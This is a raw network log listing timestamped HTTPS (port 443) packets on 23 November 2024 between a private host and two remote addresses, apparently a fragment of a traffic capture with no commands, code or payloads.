Nov 23, 2024 15:37:54.068306923 CET	443	49830	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:54.084515095 CET	49844	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:54.084553957 CET	443	49844	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:54.084614038 CET	49844	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:54.091200113 CET	49845	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:54.091244936 CET	443	49845	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:54.091305017 CET	49845	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:54.091950893 CET	49844	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:54.091968060 CET	443	49844	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:54.094024897 CET	49846	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:54.094043970 CET	443	49846	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:54.094101906 CET	49846	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:54.094417095 CET	49846	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:54.094430923 CET	443	49846	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:54.095410109 CET	49845	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:54.095426083 CET	443	49845	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:54.099096060 CET	49847	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:54.099111080 CET	443	49847	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:54.099168062 CET	49847	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:54.099438906 CET	49847	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:54.099451065 CET	443	49847	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:54.934149027 CET	443	49842	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:54.940093040 CET	49842	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:54.940116882 CET	443	49842	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:54.940582037 CET	49842	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:54.940587997 CET	443	49842	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:55.401338100 CET	443	49842	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:55.401495934 CET	443	49842	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:55.402436972 CET	49842	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:55.451948881 CET	49842	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:55.451970100 CET	443	49842	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:55.451982021 CET	49842	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:55.451987028 CET	443	49842	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:55.470967054 CET	49848	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:55.471049070 CET	443	49848	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:55.471198082 CET	49848	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:55.472028017 CET	49848	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:55.472042084 CET	443	49848	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:55.808605909 CET	443	49846	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:55.809154034 CET	49846	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:55.809168100 CET	443	49846	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:55.809755087 CET	49846	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:55.809758902 CET	443	49846	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:55.873002052 CET	443	49844	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:55.873519897 CET	49844	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:55.873536110 CET	443	49844	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:55.874182940 CET	49844	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:55.874188900 CET	443	49844	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:55.902077913 CET	443	49845	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:55.903074026 CET	49845	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:55.903098106 CET	443	49845	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:55.903856993 CET	49845	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:55.903863907 CET	443	49845	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:55.906541109 CET	443	49847	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:55.906940937 CET	49847	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:55.906956911 CET	443	49847	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:55.907502890 CET	49847	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:55.907509089 CET	443	49847	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:56.249185085 CET	443	49846	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:56.249254942 CET	443	49846	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:56.249547958 CET	49846	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:56.249592066 CET	49846	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:56.249592066 CET	49846	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:56.249608040 CET	443	49846	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:56.249618053 CET	443	49846	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:56.253669024 CET	49850	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:56.253763914 CET	443	49850	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:56.253850937 CET	49850	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:56.254261971 CET	49850	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:56.254291058 CET	443	49850	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:56.321512938 CET	443	49844	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:56.321659088 CET	443	49844	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:56.321815968 CET	49844	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:56.322042942 CET	49844	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:56.322042942 CET	49844	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:56.322061062 CET	443	49844	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:56.322071075 CET	443	49844	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:56.328006029 CET	49851	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:56.328049898 CET	443	49851	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:56.328203917 CET	49851	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:56.328370094 CET	49851	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:56.328387976 CET	443	49851	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:56.349798918 CET	443	49845	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:56.349877119 CET	443	49845	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:56.350004911 CET	49845	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:56.350153923 CET	49845	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:56.350153923 CET	49845	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:56.350173950 CET	443	49845	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:56.350187063 CET	443	49845	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:56.354024887 CET	443	49847	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:56.354088068 CET	443	49847	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:56.354227066 CET	49847	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:56.354486942 CET	49847	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:56.354486942 CET	49847	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:56.354496002 CET	443	49847	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:56.354506016 CET	443	49847	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:56.357002974 CET	49852	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:56.357036114 CET	443	49852	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:56.357059956 CET	49853	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:56.357090950 CET	49852	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:56.357100964 CET	443	49853	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:56.357270002 CET	49852	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:56.357281923 CET	443	49852	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:56.357296944 CET	49853	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:56.357431889 CET	49853	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:56.357451916 CET	443	49853	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:58.038068056 CET	443	49850	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:58.054256916 CET	443	49851	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:58.084450960 CET	49850	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:58.095953941 CET	49850	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:58.095982075 CET	443	49850	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:58.096522093 CET	49850	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:58.096537113 CET	443	49850	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:58.097367048 CET	49851	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:58.097394943 CET	443	49851	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:58.098176003 CET	49851	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:58.098181963 CET	443	49851	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:58.146723032 CET	443	49853	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:58.161637068 CET	443	49852	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:58.165066004 CET	49853	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:58.165143013 CET	443	49853	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:58.165529966 CET	49853	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:58.165545940 CET	443	49853	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:58.165925026 CET	49852	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:58.165957928 CET	443	49852	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:58.166305065 CET	49852	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:58.166311979 CET	443	49852	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:58.232392073 CET	49856	443	192.168.2.5	172.202.163.200
Nov 23, 2024 15:37:58.232423067 CET	443	49856	172.202.163.200	192.168.2.5
Nov 23, 2024 15:37:58.232492924 CET	49856	443	192.168.2.5	172.202.163.200
Nov 23, 2024 15:37:58.232964993 CET	49856	443	192.168.2.5	172.202.163.200
Nov 23, 2024 15:37:58.232979059 CET	443	49856	172.202.163.200	192.168.2.5
Nov 23, 2024 15:37:58.484419107 CET	443	49850	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:58.484483004 CET	443	49850	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:58.484724998 CET	49850	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:58.485001087 CET	49850	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:58.485001087 CET	49850	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:58.485047102 CET	443	49850	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:58.485074997 CET	443	49850	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:58.489226103 CET	49857	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:58.489264011 CET	443	49857	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:58.489497900 CET	49857	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:58.489854097 CET	49857	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:58.489865065 CET	443	49857	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:58.496795893 CET	443	49851	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:58.497302055 CET	443	49851	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:58.497467041 CET	49851	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:58.497513056 CET	49851	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:58.497530937 CET	443	49851	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:58.497556925 CET	49851	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:58.497564077 CET	443	49851	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:58.501286983 CET	49858	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:58.501329899 CET	443	49858	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:58.501554012 CET	49858	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:58.501769066 CET	49858	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:58.501784086 CET	443	49858	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:58.590315104 CET	443	49853	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:58.590388060 CET	443	49853	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:58.590495110 CET	49853	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:58.590747118 CET	49853	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:58.590759039 CET	443	49853	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:58.590780020 CET	49853	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:58.590786934 CET	443	49853	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:58.594672918 CET	49859	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:58.594719887 CET	443	49859	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:58.594798088 CET	49859	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:58.595057964 CET	49859	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:58.595072985 CET	443	49859	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:58.610950947 CET	443	49852	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:58.611017942 CET	443	49852	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:58.611100912 CET	49852	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:58.611416101 CET	49852	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:58.611430883 CET	443	49852	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:58.636413097 CET	49860	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:58.636441946 CET	443	49860	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:58.636580944 CET	49860	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:58.636755943 CET	49860	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:58.636768103 CET	443	49860	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:59.951940060 CET	443	49856	172.202.163.200	192.168.2.5
Nov 23, 2024 15:37:59.952022076 CET	49856	443	192.168.2.5	172.202.163.200
Nov 23, 2024 15:37:59.953880072 CET	49856	443	192.168.2.5	172.202.163.200
Nov 23, 2024 15:37:59.953891039 CET	443	49856	172.202.163.200	192.168.2.5
Nov 23, 2024 15:37:59.954371929 CET	443	49856	172.202.163.200	192.168.2.5
Nov 23, 2024 15:37:59.963015079 CET	49856	443	192.168.2.5	172.202.163.200
Nov 23, 2024 15:38:00.007319927 CET	443	49856	172.202.163.200	192.168.2.5
Nov 23, 2024 15:38:00.204504013 CET	443	49848	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:00.205168962 CET	49848	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:00.205235004 CET	443	49848	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:00.205843925 CET	49848	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:00.205857992 CET	443	49848	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:00.281799078 CET	443	49857	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:00.285336971 CET	49857	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:00.285366058 CET	443	49857	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:00.286427021 CET	49857	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:00.286432028 CET	443	49857	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:00.362801075 CET	443	49860	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:00.363362074 CET	49860	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:00.363375902 CET	443	49860	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:00.364167929 CET	49860	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:00.364172935 CET	443	49860	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:00.366458893 CET	443	49858	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:00.366844893 CET	49858	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:00.366880894 CET	443	49858	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:00.367533922 CET	49858	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:00.367541075 CET	443	49858	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:00.404114962 CET	443	49859	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:00.405734062 CET	49859	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:00.405761003 CET	443	49859	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:00.406441927 CET	49859	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:00.406447887 CET	443	49859	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:00.637365103 CET	443	49856	172.202.163.200	192.168.2.5
Nov 23, 2024 15:38:00.637420893 CET	443	49856	172.202.163.200	192.168.2.5
Nov 23, 2024 15:38:00.637461901 CET	443	49856	172.202.163.200	192.168.2.5
Nov 23, 2024 15:38:00.637495041 CET	49856	443	192.168.2.5	172.202.163.200
Nov 23, 2024 15:38:00.637516022 CET	443	49856	172.202.163.200	192.168.2.5
Nov 23, 2024 15:38:00.637531996 CET	49856	443	192.168.2.5	172.202.163.200
Nov 23, 2024 15:38:00.637558937 CET	49856	443	192.168.2.5	172.202.163.200
Nov 23, 2024 15:38:00.651184082 CET	443	49848	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:00.651407003 CET	443	49848	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:00.651473999 CET	49848	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:00.673949003 CET	443	49856	172.202.163.200	192.168.2.5
Nov 23, 2024 15:38:00.673989058 CET	443	49856	172.202.163.200	192.168.2.5
Nov 23, 2024 15:38:00.674021959 CET	49856	443	192.168.2.5	172.202.163.200
Nov 23, 2024 15:38:00.674031973 CET	443	49856	172.202.163.200	192.168.2.5
Nov 23, 2024 15:38:00.674063921 CET	49856	443	192.168.2.5	172.202.163.200
Nov 23, 2024 15:38:00.674170971 CET	443	49856	172.202.163.200	192.168.2.5
Nov 23, 2024 15:38:00.677305937 CET	49856	443	192.168.2.5	172.202.163.200
Nov 23, 2024 15:38:00.734481096 CET	443	49857	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:00.734512091 CET	443	49857	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:00.734572887 CET	443	49857	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:00.734648943 CET	49857	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:00.734692097 CET	49857	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:00.737376928 CET	49856	443	192.168.2.5	172.202.163.200
Nov 23, 2024 15:38:00.737394094 CET	443	49856	172.202.163.200	192.168.2.5
Nov 23, 2024 15:38:00.737409115 CET	49856	443	192.168.2.5	172.202.163.200
Nov 23, 2024 15:38:00.737417936 CET	443	49856	172.202.163.200	192.168.2.5
Nov 23, 2024 15:38:00.745404959 CET	49848	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:00.745441914 CET	443	49848	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:00.745470047 CET	49848	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:00.745485067 CET	443	49848	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:00.757859945 CET	49857	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:00.757884026 CET	443	49857	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:00.757895947 CET	49857	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:00.757901907 CET	443	49857	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:00.792711973 CET	49862	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:00.792742014 CET	443	49862	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:00.792941093 CET	49862	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:00.800853014 CET	49862	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:00.800867081 CET	443	49862	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:00.805597067 CET	443	49860	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:00.805615902 CET	443	49860	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:00.805663109 CET	443	49860	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:00.805700064 CET	49860	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:00.805726051 CET	49860	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:00.805874109 CET	49860	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:00.805881023 CET	443	49860	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:00.805911064 CET	49860	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:00.805916071 CET	443	49860	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:00.806664944 CET	49863	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:00.806751966 CET	443	49863	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:00.806833029 CET	49863	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:00.807758093 CET	49863	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:00.807791948 CET	443	49863	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:00.808881044 CET	49864	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:00.808902025 CET	443	49864	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:00.809040070 CET	49864	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:00.809093952 CET	49864	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:00.809101105 CET	443	49864	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:00.826042891 CET	443	49858	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:00.826117992 CET	443	49858	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:00.826421022 CET	49858	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:00.826421022 CET	49858	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:00.826478958 CET	49858	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:00.826508045 CET	443	49858	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:00.828948975 CET	49865	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:00.828989029 CET	443	49865	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:00.829087019 CET	49865	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:00.829314947 CET	49865	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:00.829330921 CET	443	49865	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:00.856539011 CET	443	49859	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:00.856692076 CET	443	49859	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:00.856745958 CET	49859	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:00.859765053 CET	49859	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:00.859786987 CET	443	49859	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:00.859802008 CET	49859	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:00.859817982 CET	443	49859	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:00.867841005 CET	49866	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:00.867856979 CET	443	49866	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:00.868125916 CET	49866	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:00.869343996 CET	49866	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:00.869357109 CET	443	49866	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:02.326838017 CET	443	49862	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:02.327454090 CET	49862	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:02.327471972 CET	443	49862	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:02.328026056 CET	49862	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:02.328032017 CET	443	49862	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:02.528426886 CET	443	49864	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:02.528984070 CET	49864	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:02.528996944 CET	443	49864	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:02.529512882 CET	49864	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:02.529520035 CET	443	49864	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:02.556854963 CET	443	49865	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:02.557420969 CET	49865	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:02.557440042 CET	443	49865	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:02.557950020 CET	49865	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:02.557956934 CET	443	49865	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:02.592581987 CET	443	49866	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:02.593214989 CET	49866	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:02.593224049 CET	443	49866	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:02.593813896 CET	49866	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:02.593823910 CET	443	49866	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:02.655867100 CET	443	49863	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:02.656352997 CET	49863	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:02.656378031 CET	443	49863	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:02.656862020 CET	49863	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:02.656872988 CET	443	49863	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:02.761025906 CET	443	49862	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:02.761096001 CET	443	49862	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:02.761171103 CET	49862	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:02.761188030 CET	443	49862	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:02.761224985 CET	49862	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:02.761460066 CET	49862	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:02.761460066 CET	49862	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:02.761466980 CET	443	49862	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:02.761831999 CET	443	49862	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:02.761914015 CET	443	49862	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:02.762012005 CET	49862	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:02.765717030 CET	49868	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:02.765760899 CET	443	49868	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:02.765835047 CET	49868	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:02.766066074 CET	49868	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:02.766082048 CET	443	49868	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:02.962171078 CET	443	49864	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:02.965043068 CET	443	49864	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:02.965120077 CET	49864	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:02.965183020 CET	49864	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:02.965202093 CET	443	49864	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:02.965217113 CET	49864	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:02.965225935 CET	443	49864	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:02.969921112 CET	49869	443	192.168.2.5	13.107.246.63
